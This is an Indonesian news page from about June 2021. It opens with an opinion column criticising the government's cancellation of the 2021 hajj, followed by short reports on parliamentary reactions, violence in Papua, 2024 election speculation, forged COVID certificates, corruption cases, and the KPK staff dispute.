PEMERINTAH melalui Menteri Agama Yaqult Cholil Qoumas mengumumkan tidak memberangkatkan jemaah haji untuk tahun 2021. Pertimbangannya, karena adanya pandemi Covid-19, dan pemerintah Kerajaan Arab Saudi belum memberi akses bagi jemaah haji Indonesia. Dalam bahasa yang lebih mudah dipahami, Indonesia tidak mendapat kuota haji. Kalau toh akhirnya Indonesia diberi kuota, persiapan secara teknis tidak mungkin dilaksanakan. Pengumuman Menag itu memunculkan sejumlah kontroversi. Situs resmi Kemenag menyebut keputusan pembatalan itu karena alasan pertimbangan pandemi. Ada kesan, pemerintah mencoba berlindung dan menimpakan kesalahan sepenuhnya kepada pandemi. Selain itu, dengan menyatakan, pertimbangannya pandemi, maka pemerintah sangat melindungi keselamatan rakyatnya. Gagah benar. Jika kita amati dinamika yang muncul sebelum akhirnya pemerintah memutuskan “membatalkan” pelaksanaan haji tahun 2021, ada beberapa hal yang penting kita catat. Pertama, buruknya penanganan pandemi di Indonesia. Sementara Indonesia tercatat sebagai negara paling banyak mendapatkan kuota hajinya. Ini tentu saja mengkhawatirkan pemerintah Arab Saudi. Masuknya jemaah haji dari Indonesia dikhawatirkan akan membawa gelombang Covid-19. Kedua, Indonesia menggunakan vaksin Sinovac. Padahal, vaksin tersebut belum mendapat sertifikasi dari lembaga kesehatan dunia WHO. Dampaknya bukan hanya haji, tapi jemaah umroh kita juga dilarang masuk Arab Saudi. Ketiga, lemahnya diplomasi dan lobi kita dengan Kerajaan Arab Saudi. Sisi ini sudah lama menjadi catatan dari DPR RI. Sebagai negara berpenduduk muslim terbesar di dunia, Indonesia setiap tahun paling banyak mengirimkan jemaah haji dan umroh ke Arab Saudi. Artinya, Indonesia adalah negara terbesar menyumbangkan devisanya ke Arab Saudi. Dengan posisi seperti itu, seharusnya Indonesia mendapat berbagai keistimewaan. Faktanya tidak demikian. Fasilitas pemondokan, maktab dan tenda-tenda di Arafah, dan terutama di Mina, kalah bagus dan kalah strategis dibandingkan negara tetangga Malaysia. Kuota Malaysia pada tahun 2019 hanya 31.000. Sementara jemaah haji Indonesia sebanyak 221.000. Indonesia juga gagal melobi pemerintah Arab Saudi untuk mengubah bahasa yang digunakan sebagai petunjuk, dari bahasa Melayu, menjadi bahasa Indonesia. Sejauh ini, jika kita mengikuti pemberitaan media, kiprah yang menonjol dari Dubes RI di Arab Saudi Agus Maftuh Abegebriel hanya memata-matai dan mempersulit Habib Rizieq Shihab selama mukim di Mekah. Pemerintahan Jokowi tampaknya tidak melihat lobi dengan Kerajaan Arab Saudi, dan pos Dubes sebagai prioritas penting. Hal itu setidaknya bisa kita lihat, pemerintah baru saja menunjuk Zuhairi Misrawi sebagai calon Dubes baru di Arab Saudi. Selain tidak punya jam terbang dalam diplomasi internasional, caleg gagal dari PDIP itu juga anti umroh dan haji. Dia menyebutnya sebagai kegiatan ibadah yang mahal dan hanya memperkaya Arab Saudi. Keempat, masih berkaitan dengan buruknya diplomasi kita, tercermin dari surat Duta Besar (Dubes) Arab Saudi di Jakarta kepada Ketua DPR Puan Maharani. Dalam surat tersebut Dubes Arab Saudi Essam Bin Ahmed Abid Althaqafi mempersoalkan pernyataan Wakil Ketua DPR Sufmi Dasco Ahmad, dan Wakil Ketua Komisi VIII Ace Hasan Syadzily. Kepada media, kedua pimpinan DPR itu pernah mengungkapkan, Indonesia tidak mendapat kuota haji. Menurut Essam, pernyataan tersebut tidak benar dan tidak bersumber dari pemerintah Arab Saudi. Sebab, sampai sekarang pemerintah Arab Saudi belum memberikan instruksi apapun berkaitan dengan pelaksanaan haji. Essam meminta agar semua yang berkaitan dengan pelaksanaan haji dikomunikasikan terlebih dahulu dengan pihaknya. Agar mendapat informasi yang benar dan dapat dipercaya. Surat itu, selain merupakan “teguran” kepada Dasco dan Ace, secara tidak langsung merupakan protes ke Menag yang mengambil keputusan, tanpa konsultasi dengan Kedubes Arab Saudi. Kelima, respon negatif masyarakat, khususnya ummat Islam, berkaitan dengan kinerja Kementerian Agama dan pengelolaan dana haji, menunjukkan tingkat kepercayaan publik yang rendah terhadap pemerintah. Beberapa catatan tadi menunjukkan betapa buruknya pengelolaan haji Indonesia, sehingga rakyat semakin tidak percaya kepada pemerintah, khususnya Kemenag. **

Puan: DPR Pahami Pemerintah Batalkan Keberangkatan Ibadah Haji

Jakarta, FNN - Ketua DPR RI Puan Maharani mengatakan DPR RI memahami kebijakan pemerintah yang memutuskan membatalkan keberangkatan jemaah calon haji Indonesia pada 1442 Hijriah/2021 Masehi. Puan meminta pemerintah tetap melayani jemaah calon haji yang batal berangkat tahun ini. "Pemerintah harus tetap melayani jemaah calon haji yang batal berangkat, pastikan pelayanannya baik, mekanismenya jelas jika mereka meminta dananya kembali," kata Puan dalam keterangannya di Jakarta, Jumat. Puan sangat memahami alasan pemerintah memutuskan membatalkan keberangkatan jemaah calon haji Indonesia pada tahun 2021. Menurut dia, hal utama yang harus dipastikan adalah keselamatan dan kenyamanan jemaah calon haji Indonesia saat di Tanah Suci pada masa pandemi COVID-19. Ia mengatakan bahwa pemerintah dan DPR RI sudah meminta pemerintah Arab Saudi memberi kelonggaran kepada jemaah Indonesia untuk dapat beribadah haji pada tahun ini. "Akan tetapi, demi keamanan dan keselamatan semua, kita masih harus bersabar. Apalagi, muncul varian baru virus corona dan orang yang sudah divaksin tidak dijamin tidak tertular," ujarnya. Menurut dia, sampai saat ini pemerintah Arab Saudi belum memberikan keputusan terkait dengan kuota untuk jemaah haji Indonesia, termasuk belum memberi kepastian mengenai teknis operasional dan mekanisme penyelenggaraan ibadah haji pada masa pandemi. Politikus PDI Perjuangan tersebut berharap pemerintah Indonesia dapat berkomunikasi efektif sehingga pemerintah Arab Saudi memberi kenaikan kuota haji dari Indonesia bila ibadah haji sudah bisa berjalan normal. Puan juga meminta pemerintah Indonesia harus terus meningkatkan kualitas pelayanan terhadap jemaah calon haji untuk menyambut musim haji selanjutnya, atau pelaksanaan ibadah haji pada saat suasana sudah normal kembali. Sebelumnya, pemerintah melalui Kementerian Agama (Kemenag) memutuskan membatalkan keberangkatan jemaah Indonesia untuk melaksanakan ibadah haji 1442 Hijriah/2021 Masehi. Hal itu disampaikan oleh Menteri Agama Yaqut Cholil Qoumas dalam konferensi pers yang disiarkan secara daring, Kamis (3/6). Menag menjelaskan penyebab pembatalan keberangkatan jemaah calon haji asal Indonesia karen belum adanya kepastian dari pemerintah Arab Saudi mengenai kuota haji Indonesia.

Sufmi Dasco Tanggapi Surat Dubes Arab untuk Indonesia

Jakarta, FNN - Wakil Ketua DPR RI Sufmi Dasco Ahmad menanggapi surat Duta Besar Pelayan Dua Kota Suci Arab Saudi untuk Indonesia Essam Bin Ahmed Abid Althaqafi yang isinya mengklarifikasi pernyataan Dasco dan Wakil Ketua Komisi VIII DPR Ace Hasan di pemberitaan media massa. "Pada hari Senin (31/5) setelah Rapat Paripurna DPR RI, saya diminta tanggapan wartawan, salah satunya terkait masalah haji dan vaksin Sinovac yang belum disetujui Pemerintah Kerjaan Arab Saudi bagi calon jamaah haji," kata Dasco dalam keterangannya di Jakarta, Jumat. Dia menjelaskan pasca saat itu dirinya mengatakan bahwa Indonesia sementara waktu tidak perlu membahas terkait vaksin tersebut karena yang harus dipastikan adalah apakah Indonesia dapat kuota haji atau tidak. Hal itu, menurut Dasco, karena dirinya mendapatkan info bahwa Indonesia tidak mendapatkan kuota haji tahun 2021 sehingga harus dipastikan dahulu terkait kuota haji tersebut. "Tidak bermaksud membuat kegaduhan, namun saya ingin menekankan bahwa jangan bahas terlebih dahulu tentang vaksin, tetapi dipastikan dulu, apakah Indonesia mendapatkan kuota haji atau tidak," ujarnya. Dasco menjelaskan saat itu dirinya mendapatkan informasi terbaru bahwa Indonesia tidak mendapatkan kuota haji karena adanya pembatasan karena pandemi COVID-19. Ketua Harian DPP Partai Gerindra itu mengatakan dirinya sebagai pimpinan DPR RI berkomunikasi dengan banyak pihak termasuk dengan otoritas terkait dengan perkembangan kuota haji ini. "Sampai dengan tanggal 28 Mei 2021 adalah batas permintaan Pemerintah Indonesia untuk diberikan informasi dari pemerintah Arab Saudi tentang kuota haji untuk indonesia yang belum ada kepastian," katanya. Di sisi lain, menurut dia, Pemerintah Indonesia perlu mempersiapkan banyak hal seperti vaksinasi, persiapan katering bagi calon jamaah haji, pesawat, pemondokan dan lain-lain hanya dengan jangka waktu 1,5 bulan karena telah melewati dari batas waktu yang diminta pemerintah Indonesia yaitu tanggal 28 Mei 2021. Sebelumnya, dalam surat Dubes Essam yang beredar tertanggal 3 Juni 2021 yang kepada Puan Maharani, Essam mengatakan bahwa pemberitaan dengan mengutip pernyataan Sufmi Dasco dan Ace Hasan adalah tidak benar. Dalam surat tersebut pernyataan Dasco yang dibantah Dubes Essam adalah menyatakan telah memperoleh informasi bahwa Indonesia tidak memperoleh kuota haji tahun 2021. Sementara itu pernyataan Ace Hasan yaitu yang menyebutkan bahwa adanya 11 negara yang telah memperoleh kuota haji dari Kerjaan Arab Saudi pada tahun 2021 dan Indonesia tidak termasuk dari negara-negara tersebut. Essam menegaskan bahwa informasi yang disampaikan Sufmi Dasco dan Ace Hasan adalah tidak benar dan pernyataan keduanya tidak dikeluarkan oleh otoritas resmi Kerajaan Arab Saudi. Menurut dia, otoritas resmi Kerajaan Arab Saudi tidak pernah mengeluarkan instruksi apapun berkaitan pelaksanaan haji tahun 2021 bagi para jamaah haji di Indonesia maupun dari seluruh negara di dunia.

Teroris Bersenjata Bantai Satu Keluarga di Eromaga Puncak Papua

Timika, FNN - Kelompok Kriminal Bersenjata (KKB) terus menebar teror kepada warga sipil di Kabupaten Puncak, Papua, membunuh satu keluarga di Eromaga, di Distrik Omukia pada Jumat dini hari. Kasatgas Humas Nemangkawi Kombes Pol M Iqbal Alqudusy dalam keterangan tertulis yang diterima Antara di Timika, Jumat, mengatakan korban meninggal seluruhnya berjumlah lima orang dari satu keluarga Kepala Desa Nipurlema Petianus Kogoya. "Korban yang meninggal yaitu Kepala Desa Nipurlema Petianus Kogoya bersama anggota keluarganya. Sampai saat ini korban masih berada di Eromaga dan belum dapat dievakuasi karena masih terjadi kontak tembak di sekitar Bandara Ilaga," kata Kombes Iqbal. Sebelumnya pada Kamis (3/6), KKB juga menembak mati seorang warga di Eromaga Ilaga atas nama Habel Halenti (30). Akibat kejadian itu, warga masyarakat dari 10 kampung (desa) sekitar Eromaga akhirnya mengungsi ke Kunga. Kombes Iqbal mengatakan aparat gabungan TNI dan Polri terus melakukan pengejaran terhadap pelaku penembakan terhadap warga sipil tak berdosa itu. Pelaku penembakan teridentifikasi dari kelompok bersenjata pimpinan Lekagak Telenggeng yang selama ini terus melancarkan aksi teror penembakan di sejumlah distrik di Kabupaten Puncak.

Ansor Jatim Nilai Khofifah Layak Kandidat di Bursa Pilpres 2024

Surabaya, FNN - Ketua Pimpinan Wilayah Gerakan Pemuda Ansor Jawa Timur Syafiq Syauqi menilai Gubernur Jawa Timur Khofifah Indar Parawansa layak sebagai kandidat di bursa Pemilihan Presiden 2024. "Saya kira Ibu Gubernur punya kans besar untuk mengambil tampuk kepemimpinan Nasional, baik itu presiden atau wakil presiden," ujarnya ketika dikonfirmasi di Surabaya, Jumat. Menurut Gus Syafiq, sapaan akrabnya, peluang itu ada karena Khofifah merupakan figur yang bisa merepresentasikan perempuan dan Nahdlatul Ulama (NU). Karena itu, pihaknya mengaku bangga jika Khofifah benar-benar maju ke kancah nasional dan GP Ansor turut mendukung penuh. "Kami akan support Ibu Khofifah. Siapapun pasangannya, akan kami dukung. Yang penting bisa menjadikan republik ini selalu kondusif," ucapnya. Sementara itu, mencuatnya nama Khofifah Indar Parawansa untuk bursa Pilpres 2024 setelah namanya selalu muncul pada hasil survei beberapa lembaga. Selain itu, pertemuannya dengan sejumlah tokoh yang juga digadang-gadang bakal maju di pilpres ditafsirkan publik sebagai persiapan menuju 2024. Khofifah Indar Parawansa sudah beberapa kali bertemu Gubernur Provinsi lain, seperti Gubernur DKI Jakarta Anies Baswedan dan Gubernur Jawa Barat Ridwan Kamil. Bahkan, Ridwan Kamil sudah dua kali bertemu dalam kurun waktu sebulan, yang pertama di Kota Bandung dan pertemuan kedua di Kota Surabaya akhir pekan lalu. Ridwan Kamil saat di Surabaya mengaku heran setiap kunjungannya ke luar daerah dalam rangka kedinasan selalu ditafsirkan ke 2024 yang dikenal sebagai tahun politik. "Tapi, saya juga tidak bisa menyalahkan karena memang tak bisa dihindari," kata Kang Emil (sapaan akrab Ridwan Kamil) di Surabaya pada Sabtu (29/5). Tahun 2024 disebut tahun politik karena dijadwalkan digelar pesta demokrasi secara serentak, yakni Pemilihan Umum Legislatif beserta Pemilihan Presiden, serta digelar Pemilihan Kepala Daerah (Pilkada) di tahun sama.

Pertemuan AHY-Ridwan Kamil di Bandung Tak Terkait Pilpres 2024

Bandung, FNN - Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY) dan Gubernur Jawa Barat (Jabar) M Ridwan Kamil melakukan pertemuan di Kota Bandung, Jumat. Kedua tokoh tersebut membantah jika pertemuan itu tidak terkait dengan pembicaraan Pemilu Presiden (Pilpres) 2024. "Berbicara 2024, saya pikir masih cukup jauh ya. Saya tidak ingin terlalu banyak spekulasi kalau politik sudah pasti berbicara isinya nanti saja," kata AYH seusai pertemuan di Nara Park Bandung. Bantahan serupa juga diutarakan oleh Kang Emil, sapaan Ridwan Kamil. "Belum bisa dijawab karena politik bukan matematik. Nanti saja menjelang," kata Kang Emil. AHY mengatakan hingga saat ini dirinya sedang fokus bekerja di partai dalam menangani sejumlah permasalahan di Indonesia. "Kalau berbicara sejauh itu tidak ya. Kita sendiri mencoba realisitis fokus tadi dikatakan Kang Emil kita harus benar memahami situasi dan kita lebih baik fokus menangani Indonesia hari ini. Saya sendiri dalam kapasitas pimpinan politik bisa menyuarakan di parlemen misalnya. Masuk juga ke kepala daerah di Partai Demokrat, termasuk Kang Emil juga memimpin ini," kata AHY. Sementara itu, Ketua DPD Partai Demokrat Jawa Barat Irfan Suryangara menyampaikan terima kasih atas kedatangan Ketua Umum Partai Demokrat ke Jawa Barat. "Kami ucapkan terima kasih atas kehadiran Pak Ketum. Pengurus dan kader semakin solid. Kedatangan Pak Ketum AHY menemui banyak kelompok masyarakat untuk mendengarkan langsung apa yg mereka rasakan akan menjadi referensi bagi DPD PD Jabar agar semakin mengukuhkan komitmen untuk terus bersama denyut dan suara rakyat di Jawa Barat," kata dia. Irfan juga ingin memastikan bahwa kebangkitan Partai Demokrat secara keseluruhan akan bermula dari Jawa Barat sebagaimana kecenderunganya dari hasil sejumlah lembagai survei yang ada. "Dari beberapa hasil survei yang telah dirilis saja, potensi kenaikan suara Partai Demokrat di Jawa Barat itu kan jauh lebih tinggi dari rata-rata kenaikannya secara nasional. Ini menjadi bukti bahwa konstribusi Demokrat di Jabar telah cukup signifikan," kata dia. Sehingga ke depannya, lanjut Irfan, kondisi eksisting ini yang akan terus dipertahankan dan ditingkatkan. "Prinsip saya, sekali layar terkembang, pantang surut ke belakang. Saya tidak akan terlena oleh seberapa baik hasil yang telah diperoleh Demokrat di Jabar. Saya dengan seluruh pengurus, kader dan simpatisan Partai Demokrat se-Jabar akan berupaya memberikan konstribusi terbaik untuk Ketum AHY," kata Irfan.

Polisi Riau Tangkap Pemalsu 1.252 Surat Bebas COVID-19

Pekanbaru, FNN - Aparat Kepolisian Daerah Provinsi Riau menangkap AP (40), tersangka pembuat surat bebas COVID-19 palsu yang beroperasi di Bandara Sultan Syarif Kasim II Pekanbaru selama tiga bulan setelah menerbitkan 1.252 dokumen. Kepala Polda Riau Irjen Pol Agung Setya Imam Effendy dalam pernyataannya di Pekanbaru, Jumat, menyampaikan aksi AP terungkap setelah pihak Bandara Sultan Syarif Kasim II Pekanbaru menemukan surat bebas COVID-19 palsu yang digunakan oleh seorang penumpang. Temuan tersebut kemudian ditindaklanjuti oleh kepolisian Kota Pekanbaru dan berujung dengan penangkapan AP beberapa hari lalu. Aksi AP diketahui dari salah satu penumpang pesawat berinisial S yang kedapatan menggunakan surat bebas COVID-19 palsu. Saat dimintai keterangan, S mengaku tidak pernah melakukan rapid test maupun tes antigen namun bisa memiliki surat bebas COVID-19. Dalam surat palsu itu juga tertera nama sebuah rumah sakit. Namun nama S justru tak terdaftar di rumah sakit tersebut. "Dari informasi itu, akhirnya polisi bisa menangkap AP," katanya. Aksi AP sendiri diketahui telah berjalan sejak 3 bulan lalu. Dari rentang waktu itu AP berhasil mencetak 1.252 surat bebas COVID-19 palsu dan diperjual belikan. Dari pengakuan, AP mengakui telah membuat surat palsu tersebut menggunakan komputer pribadinya dan menjualnya di Bandara SSK II Pekanbaru. "Pelaku membuat surat ini tanpa melakukan proses pemeriksaan sebagaimana ketentuan pemeriksaan medis antigen atau PCR," kata Kapolda. Selain membuat surat palsu yang digunakan untuk perjalanan itu, AP juga seorang calo tiket di Bandara. Bahkan pelaku juga menyimpan arsip surat palsu itu, sehingga jika ada penumpang yang membutuhkan, ia hanya tinggal mencetaknya. Harga satu surat mulai Rp50 ribu hingga Rp200 ribu per lembar. Melihat peristiwa tersebut, Agung mengaku kesal dan kecewa sebab di masa genting pandemi COVID-19, ada orang yang justru meraup keuntungan tanpa memikirkan dampak yang dibuatnya.

Kejagung Evaluasi Kasus Asabri Usut Keterlibatan Koorporasi

Jakarta, FNN - Kejaksaan Agung segera mengevaluasi proses pengungkapan kasus dugaan korupsi pengelolaan keuangan dan dana investasi di PT Asabri serta mulai mengusut dugaan keterlibatan korporasi dalam lanjutan penyidikan dugaan korupsi serta tindakan pidana pencucian uang. Direktur Penyidikan Jaksa Agung Muda Tindak Pidana Khusus (Dirdik JAM Pidsus) Febrie Adriansyah, Jumat, mengatakan evaluasi akan dilakukan oleh JAM Pidsus Ali Mukartono. "Minggu depan (Senin 6/6) mau dievaluasi Pak JAM Pidsus," kata Febrie. Febrie mengisyaratakan ada penyidikan jilid II kasus mega korupsi PT Asabri, untuk menelusuri tersangka korporasi di luar sembilan tersangka yang sudah ditetapkan. Menurut dia, akan ada rencana penambahan Satuan Tugas Khusus (Satgasus) supaya penyidikan Asabri jilid II bisa berjalan. "Kalau umpamanya jilid dua, berarti ada banyak neh, rencana penambahan Satgasus, jumlah Satgasus kita tambah supaya bisa jalan," kata Febrie. Febrie juga menyebutkan sudah menyiapkan penambahan Satgasus termasuk nama-namanya. Penyidik telah menetapkan sembilan orang tersangka kasus korupsi yang merugikan negara senilai Rp22,78 triliun. Sembilan tersangka itu, empat di antaranya berasal dari pihak swasta sedangkan lima orang lainnya merupakan jajaran direksi PT Asabri. Sembilan tersangka tersebut adalah Dirut PT Asabri periode 2011 sampai Maret 2016 Mayjen Purn. Adam Rachmat Damiri, Dirut PT Asabri periode Maret 2016 Juli 2020 Letjen Purn. Sonny Widjaja, Direktur Keuangan PT Asabri periode Oktober 2008 Juni 2014 Bachtiar Effendi, serta Direktur PT Asabri periode 2013—2014 dan 2015—2019 Hari Setiono. Berikutnya, Kepala Divisi Investasi PT Asabri Juli 2012—Januari 2017 Ilham W. Siregar, Dirut PT Prima Jaringan Lukman Purnomosidi, dan Direktur PT Jakarta Emiten Investor Relation Jimmy Sutopo, Dirut PT Hanson International Tbk. Benny Tjokrosaputro, dan Komisaris PT Trada Alam Minera Heru Hidayat. Baik Benny maupun Heru merupakan tersangka dalam kasus korupsi di PT Asuransi Jiwasraya. Selain itu, Kejaksaan Agung telah menyematkan pasal tindak pidana pencucian uang (TPPU) terhadap tiga tersangka, yakni Benny Tjockrosaputro, Heru Hidayat, dan Jimmy Sutopo. Penyidik Kejagung telah menyelesaikan berkas perkara tujuh tersangka untuk segera disidangkan. Sedangkan dua tersangka lainnya, yakni Benny Tjokro dan Heru Hidayat masih dalam penyelesaian pendataan aset sitaan.

Pemkab Cianjur Keluarkan Larangan Kawin Kontrak

Cianjur, FNN - Pemerintah Kabupaten Cianjur, Jawa Barat, mengeluarkan larangan kawin kontrak untuk mencegah maraknya praktek tersebut antara wisatawan asing dengan warga, terutama di kawasan Cipanas-Puncak yang dinilai dapat merugikan kaum perempuan. "Kami akan segera membuat peraturan bupati terkait larangan kawin kontrak, mencakup larangan secara umum untuk warga lokal, luar kota dan wisatawan asing," kata Bupati Cianjur, Herman Suherman di Cianjur Jumat. Ia menjelaskan, hingga saat ini praktek kawin kontrak masih tetap terjadi seiring tingginya angka wisatawan asing yang datang ke Cianjur, terutama wisatawan timur tengah, sehingga pemkab mengeluarkan larangan terkait hal tersebut. Berdasarkan fatwa ulama, tambah dia, tidak memperbolehkan kawin kontrak karena dapat merendahkan derajat dan merugikan kaum perempuan. "Kami merasa berdosa kalau membiarkan hal tersebut terus terjadi, sehingga kami tengah menggodog perbup dan sanksi agar ada efek jera," katanya. Ketua Harian P2TP2A Cianjur Lidya Indiyani Umar mengatakan sepanjang tahun 2021 telah mendapat tiga laporan terkait kawin kontrak yang merugikan perempuan di Cianjur, sehingga pihaknya menilai masih ada kawin kontrak yang terjadi di Cianjur. Ia menjelaskan, dari tiga laporan tersebut, perempuannya dalam kondisi hamil, namun ditinggalkan pasangannya karena masa kawin kontrak sudah habis, sehingga korban terpaksa harus menanggung beban sendiri untuk membesarkan anak dalam kandungannya. "Kami mendukung adanya perbub yang melarang kawin kontrak berikut dengan sanksi tegas agar tidak ada lagi praktek kawin kontrak di Cianjur, karena selama ini, masih terjadi dengan bukti masuknya tiga laporan terkait kawin kontrak, dimana kondisi perempuannya sedang hamil," katanya. Hal tersebut, ungkap dia, selain merugikan korban, juga akan berdampak luas terhadap tumbuh kembang sang anak termasuk saat mengurus administrasi kependudukan karena sebagian besar pria yang melakukan kawin kontrak merupakan wisatawan asing.

Kejari Tangkap Terpidana Korupsi Hibah Pemkot Bandung Buron 8 Tahun

Bandung, FNN - Kejaksaan Negeri Bandung menangkap terpidana kasus korupsi dana hibah di lingkungan Pemkot Bandung pada tahun anggaran 2010 bernama Deni Wardani (43) yang telah menjadi buronan selama 8 tahun. Kepala Kejari Bandung Iwa Suwia mengatakan bahwa pihaknya menangkap terpidana Deni Wardani di kediamannya, Kamis (3/6) malam. Deni disebut menjadi buron sebelum persidangan kasusnya pada tahun 2013 dimulai. "Ini disidangkannya status in absentia, selama ini diduga sempat berpindah-pindah (kota), dan selama ini kami berupaya mencari yang bersangkutan," kata Iwa di Kantor Kejari Bandung, Jawa Barat, Jumat. Deni divonis hukuman 4 tahun penjara dengan denda sebesar Rp50 juta dengan subsider 2 bulan. Setelah ditangkap sejak Kamis malam, Deni langsung menjalani pemeriksaan di Kantor Kejari Bandung. Pada Jumat siang ini Deni langsung dijebloskan ke penjara untuk menjalani masa tahanan. Deni terjerat oleh kasus korupsi pada tahun 2010 saat Pemkot Bandung menganggarkan Rp265 miliar untuk dibelanjakan sebagai dana hibah kepada sejumlah lembaga. Deni saat itu mengajukan permohonan pencairan dana hibah melalui proposal kegiatan untuk sosialisasi manfaat lingkungan hidup. Karena pada saat itu Deni merupakan Ketua Pusat Kajian Lingkungan (PKL). Deni bersama timnya pada saat itu mengajukan dana hibah sebesar Rp150 juta untuk kegiatan yang akan dilakukannya. Namun, akhirnya proposal kegiatan yang diajukannya merupakan proposal fiktif. Sementara itu, Kepala Seksi Pidana Khusus Kejari Bandung Taufik Effendi mengatakan bahwa pihaknya masih mengejar seorang buronan lainnya berinisial M yang merupakan rekan dari Deni. Menurut dia, seorang tersebut turut dalam pengajuan proposal fiktif itu. Karena dengan korupsi tersebut, menyebabkan Pemkot Bandung mengalami kerugian negara. "Masih buron juga M, kami sampaikan agar segera kooperatif menyerahkan diri," kata Taufik.

Ketua MK Mengaku Dihujat di Kampung Halaman Pascaputusan Pilpres

Jakarta, FNN - Ketua Mahkamah Konstitusi (MK) RI Anwar Usman mengaku orang yang paling dihujat oleh masyarakat di kampung halamannya Bima, Nusa Tenggara Barat (NTB) pascaputusan Pemilihan Umum Presiden dan Wakil Presiden (Pilpres) 2019. "Orang yang paling dihujat waktu itu adalah saya," kata Anwar Usman saat memberikan kuliah umum di Universitas Muhammadiyah Tangerang (UMT) yang disiarkan secara virtual di Jakarta, Jumat. Hujatan terhadapnya karena NTB, terutama Kota Bima, merupakan lumbung suara dari Pasangan Calon Presiden dan Wakil Presiden Prabowo Subianto dan Sandiaga Uno. Anwar Usman menyadari hujatan dari pendukung Prabowo-Sandi kepadanya karena Tanah Bima, NTB, tempat kelahirannya sehingga hal itu berimbas pada personalnya. Menurut dia, hal yang perlu dipahami bahwa tidak mungkin seorang hakim bisa memutuskan sebuah perkara yang dapat memuaskan semua pihak. Pasalnya, dalam memutus sebuah perkara ada dua pihak yang berkepentingan saling bertolak belakang. Selanjutnya, dalam memutus sebuah perkara, hakim akan menjadikan fakta yang terungkap di persidangan sebagai dasar dalam mengambil keputusan. "Apa pun isu dan fakta yang terjadi di lapangan tetapi tidak bisa dihadirkan atau diungkap di persidangan maka yang akan lahir adalah sebuah keputusan yang berbeda," katanya. Pada kesempatan itu, Anwar Usman memberikan sebuah contoh saat baju perang milik Ali bin Abi Thalib salah seorang khalifah sekaligus sahabat Nabi Muhammad saw. yang kehilangan baju tersebut. Suatu ketika Ali bin Abi Thalib mendapati baju perang miliknya berada di tangan seorang Yahudi. Ketika meminta baju itu, orang Yahudi tadi menolak dan mengatakan bahwa baju tersebut merupakan kepunyaannya. Ali yang merasa tidak terima membawa perkara itu ke pengadilan. Namun, saat di meja hijau, gugatan sang khalifah ditolak oleh hakim meskipun Ali menghadirkan dua orang saksi, yakni anak dan pembantunya. Pelajaran dari perkara tersebut, lanjut dia, ialah meskipun anak, pembantu, orang-orang sekitar, hingga sang hakim sendiri mengetahui bahwa baju perang itu merupakan milik Ali, dia gagal membuktikannya di persidangan. "Terus terang saya orang yang paling dihujat karena palu di tangan saya. Oleh sebab itu, perlu pencerahan kepada masyarakat," katanya.

Kodam Mulawarman Investigasi Penembakan Oknum TNI di Kalsel

Banjarmasin, FNN - Komando Daerah Militer (Kodam) VI/Mulawarman melakukan investigasi kasus penembakan warga sipil oleh orang yang diduga oknum TNI di Kabupaten Tanah Bumbu, Kalimantan Selatan (Kalsel). "Sesuai perintah Pangdam tim telah melakukan investigasi penanganan perkara sesuai prosedur hukum dan ketentuan yang berlaku," terang Kapendam VI/Mulawarman Letkol Inf Taufik Hanif kepada ANTARA, Jumat. Adapun tiga terduga pelaku yang merupakan oknum anggota Kipan B Yonif 623/BWU telah diamankan di Denpom VI/2 Banjarmasin beserta barang bukti berupa sebuah senjata laras panjang. "Saat ini ketiganya masih menjalani pemeriksaan mendalam di Denpom Banjarmasin," tutur Taufik. Atas perintah Pangdam VI/Mulawarman Mayjen TNI Heri Wiranto, ungkap dia, Danpomdam segera melakukan penyidikan dan proses hukum ketiga oknum TNI sesuai prosedur hukum yang berlaku. Kemudian Pangdam juga memerintahkan Dandim 1022/Tnb Letkol Cpn Rahmat Trianto untuk membantu keluarga korban serta memberikan santunan dan bantuan yang diperlukan, khususnya proses pemakaman. Dijelaskan Taufik, kasus penembakan bermula dari percekcokan antara ketiga oknum TNI dengan pegawai tempat biliar bernama Raudah beserta suaminya Hendri Jaya pada Rabu (2/6) di wilayah Km 7, RT 05, Desa Sarigadung, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu, Kalsel. Saat itu, ketiga oknum TNI yang diduga dalam pengaruh minuman keras tersebut marah ketika diminta pulang karena warung akan ditutup dan menyiram Raudah dengan minuman jenis tuak. Korban Hendri yang membela istrinya, terlibat percekcokan dengan ketiganya yang berujung penembakan. Hendri dinyatakan meninggal dunia di Rumah Sakit Husada Sepunggur pukul 05.00 WITA.

BEM Nusantara Minta Polemik Alih Status Pegawai Jadi ASN Dihentikan

Jakarta, FNN - Badan Eksekutif Mahasiswa (BEM) Nusantara Pulau Jawa meminta polemik alih status pegawai Komisi Pemberantasan Korupsi (KPK) menjadi aparatur sipil negara (ASN) dihentikan dan fokus pada penanganan kasus korupsi di Tanah Air. "Kami mendorong agar isu-isu yang terkait dengan KPK segera berakhir dan KPK bisa menjalankan fungsinya sebagai lembaga independen untuk pemberantasan korupsi," kata Koordinator BEM Nusantara Pulau Jawa Ahmad Marzuki Tukan di Jakarta, Jumat. Jika isu-isu yang berkembang di media maupun gerakan-gerakan KPK seakan-akan tidak fokus menjalankan tugas penanganan korupsi atau lebih fokus pada politik internal, menurut dia, seharusnya KPK kembali pada jalurnya. Menyinggung ersoalan tes wawasan kebangsaan maupun masalah lain-lain, lanjut dia, seyogianya diselesaikan secara internal. Kalaupun 51 pegawai KPK tidak lolos, bisa menempuh jalur hukum berdasarkan konstitusi negara. Oleh karena itu, dia lebih mendukung pihak-pihak yang merasa rugi menempuh jalur hukum sesuai dengan ketentuan yang ada. Pada kesempatan itu, BEM Nusantara Pulau Jawa menyerukan agar mahasiswa tidak ikut terprovokasi mengenai kisruh yang terjadi di KPK. "Harapan kami agar teman-teman mahasiswa sendiri tidak terprovokasi dan lebih jeli lagi melihat problem yang ada di KPK saat ini," katanya. Ia menegaskan dukungannya untuk KPK supaya tetap independen dalam memberantas korupsi di Indonesia sekaligus mengajak seluruh mahasiswa di Tanah Air terus mengawal lembaga antirasuah tersebut.

Ketua KPK Tidak Hadiri Debat Terbuka Bahas TWK dengan Direktur KPK

